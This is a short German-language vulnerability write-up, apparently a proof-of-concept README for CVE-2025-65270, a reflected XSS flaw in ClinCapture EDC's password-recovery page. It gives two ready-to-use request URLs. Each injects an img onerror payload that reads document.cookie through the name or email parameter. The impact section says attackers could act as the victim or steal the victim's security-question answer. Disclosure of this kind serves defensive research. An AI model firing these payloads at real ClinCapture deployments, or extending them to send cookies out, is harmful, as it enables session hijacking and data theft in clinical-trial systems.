CVE-2025-65270

⚠️ Haftungsausschluss

Dieses Repository ist nur für Bildungs- und defensive Sicherheitsforschung bestimmt

🔥 Übersicht

Reflektierte Cross-Site-Scripting (XSS) Schwachstelle in ClinCapture EDC 3.0 und 2.2.3, die es einem nicht authentifizierten entfernten Angreifer ermöglicht, JavaScript-Code im Kontext des Browsers des Opfers auszuführen.

🧪 Beweis des Konzepts

Um die Schwachstelle zu demonstrieren, müssen Sie zur Passwort-Wiederherstellungs-Registerkarte gehen und den Payload im name- oder email-Parameter angeben oder eine Anfrage senden.

🔓 Über den name-Parameter

<url>/edc/RequestPassword?action=submit&name=text%22%3E%3Cimg%20src%3dx%20onerror%3dalert(document.cookie)%3E&[email protected]&passwdChallengeQuestion=favorite_animal&passwdChallengeAnswer=&Submit=Submit

🔓 Über den email-Parameter

<url>/edc/RequestPassword?action=submit&name=text&[email protected]%22%3E%3Cimg%20src%3dx%20onerror%3dalert(document.cookie)%3E&passwdChallengeQuestion=favorite_animal&passwdChallengeAnswer=&Submit=Submit

🚨 Auswirkungen

Ein nicht authentifizierter Benutzer kann JavaScript-Code im Kontext des Browsers des Opfers ausführen, mit dem Ziel, Aktionen im Namen des Opfers durchzuführen oder vertrauliche Informationen wie die Antwort auf eine Sicherheitsfrage zu stehlen.

🔗 Referenzen

• CVE-2025-65270